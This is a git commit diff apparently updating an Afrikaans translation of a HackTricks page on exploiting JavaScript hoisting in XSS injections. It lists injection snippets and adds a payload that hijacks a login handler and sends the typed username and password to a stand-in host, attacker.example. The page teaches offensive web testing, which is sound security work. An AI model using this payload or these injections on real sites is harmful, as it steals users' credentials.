Translated ['', 'src/pentesting-web/xss-cross-site-scripting/README.md',

This commit is contained in:
Translator 2025-08-28 19:35:01 +00:00
parent d4c2893e76
commit 4a24de3d05
2 changed files with 335 additions and 252 deletions

File diff suppressed because it is too large Load Diff

View File

@ -2,31 +2,31 @@
{{#include ../../banners/hacktricks-training.md}}
## Basiese Inligting
## Basic Information
In die JavaScript-taal word 'n meganisme bekend as **Hoisting** beskryf waar verklarings van veranderlikes, funksies, klasse, of invoere konseptueel na die bokant van hul omvang verhef word voordat die kode uitgevoer word. Hierdie proses word outomaties deur die JavaScript-enjin uitgevoer, wat deur die skrip in verskeie passe gaan.
In die JavaScript-taal word 'n meganisme bekend as **Hoisting** beskryf, waar verklarings van variables, functions, classes of imports konseptueel na die bokant van hul scope verskuif word voordat die kode uitgevoer word. Hierdie proses word outomaties deur die JavaScript engine uitgevoer, wat die skrip in verskeie passe deurloop.
Tydens die eerste pas, ontleed die enjin die kode om te kyk vir sintaksisfoute en transformeer dit in 'n abstrakte sintaksisboom. Hierdie fase sluit hoisting in, 'n proses waar sekere verklarings na die bokant van die uitvoeringskonteks verskuif word. As die ontledingsfase suksesvol is, wat aandui dat daar geen sintaksisfoute is nie, gaan die skripuitvoering voort.
Tydens die eerste pas parse die engine die kode om na syntax errors te kyk en dit in 'n abstract syntax tree te transformeer. Hierdie fase sluit hoisting in, 'n proses waar sekere declarations na die top van die execution context beweeg word. As die parsing-fase suksesvol is, wat aandui dat daar geen syntax errors is nie, gaan die skrip se uitvoering voort.
Dit is van kardinale belang om te verstaan dat:
Dit is belangrik om te verstaan dat:
1. Die skrip moet vry wees van sintaksisfoute vir uitvoering om plaas te vind. Sintaksisreëls moet streng nagekom word.
2. Die plasing van kode binne die skrip beïnvloed uitvoering as gevolg van hoisting, alhoewel die uitgevoerde kode mag verskil van sy teksuele voorstelling.
1. Die skrip moet vry van syntax errors wees voordat uitvoering kan plaasvind. Syntax-reëls moet streng nageleef word.
2. Die plasing van kode binne die skrip beïnvloed uitvoering weens hoisting, selfs al kan die uitgevoerde kode verskil van sy tekstuele voorstelling.
#### Tipes Hoisting
#### Types of Hoisting
Gebaseer op die inligting van MDN, is daar vier duidelike tipes hoisting in JavaScript:
Volgens MDN is daar vier uiteenlopende tipes hoisting in JavaScript:
1. **Waarde Hoisting**: Maak die gebruik van 'n veranderlike se waarde binne sy omvang moontlik voordat sy verklaringlyn.
2. **Verklaring Hoisting**: Laat die verwysing na 'n veranderlike binne sy omvang toe voordat sy verklaring plaasvind sonder om 'n `ReferenceError` te veroorsaak, maar die veranderlike se waarde sal `undefined` wees.
3. Hierdie tipe verander die gedrag binne sy omvang as gevolg van die veranderlike se verklaring voordat sy werklike verklaringlyn.
4. Die neveneffekte van die verklaring vind plaas voordat die res van die kode wat dit bevat, geëvalueer word.
1. **Value Hoisting**: Maak dit moontlik om 'n variable se waarde binne sy scope te gebruik voor die lyn van deklarasie.
2. **Declaration Hoisting**: Laat toe om 'n variable binne sy scope te verwys voor die deklarasie sonder om 'n `ReferenceError` te veroorsaak, maar die variable se waarde sal `undefined` wees.
3. Hierdie tipe verander die gedrag binne sy scope omdat die variable se deklarasie voor sy werklike deklarasielyn voorkom.
4. Die deklarasie se newe-effekte gebeur voordat die res van die kode wat dit bevat geëvalueer word.
In detail, funksieverklarings toon tipe 1 hoisting gedrag. Die `var` sleutelwoord demonstreer tipe 2 gedrag. Lexikale verklarings, wat `let`, `const`, en `class` insluit, toon tipe 3 gedrag. Laastens, `import` verklarings is uniek in die sin dat hulle met beide tipe 1 en tipe 4 gedrag gehoist word.
In meer detail vertoon function declarations tipe 1 hoisting-gedrag. Die `var` sleutelwoord demonstreer tipe 2-gedrag. Lexical declarations, wat `let`, `const`, en `class` insluit, vertoon tipe 3-gedrag. Laastens is `import` statements uniek omdat hulle met beide tipe 1 en tipe 4 gedrag gehys word.
## Scenario's
## Scenarios
Daarom, as jy scenario's het waar jy **JS kode kan inspuit nadat 'n nie-verklaarde objek** gebruik is, kan jy **die sintaksis regmaak** deur dit te verklaar (sodat jou kode uitgevoer word in plaas daarvan om 'n fout te gooi):
Indien jy dus scenarios het waar 'n undeclared object gebruik word en jy kan **Inject JS code after an undeclared object**, kan jy die sintaksis **fix the syntax** deur dit te declare (sodat jou kode uitgevoer word in plaas daarvan om 'n fout te gooi):
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
@ -68,7 +68,7 @@ alert(1);
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
```
## Meer Scenario's
## Meer scenario's
```javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
@ -127,11 +127,31 @@ alert(1) -
},
})
}
trigger()
```
### Voorkom latere deklarasies deur 'n naam met const te sluit
As jy kan uitvoer voordat 'n top-level `function foo(){...}` gepars is, sal die verklaring van 'n leksikale binding met dieselfde naam (bv. `const foo = ...`) verhinduer dat die latere function-verklaring daardie identifiseerder herbind. Hierdie tegniek kan in RXSS misbruik word om kritieke handlers wat later op die bladsy gedefinieer is, te kap:
```javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
```
Aantekeninge
- Dit berus op uitvoeringvolgorde en globale (top-level) scope.
- As jou payload binne `eval()` uitgevoer word, onthou dat `const/let` binne `eval` block-scoped is en nie globale bindings sal skep nie. Inject 'n nuwe `<script>` element met die kode om 'n ware globale `const` te vestig.
## Verwysings
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
{{#include ../../banners/hacktricks-training.md}}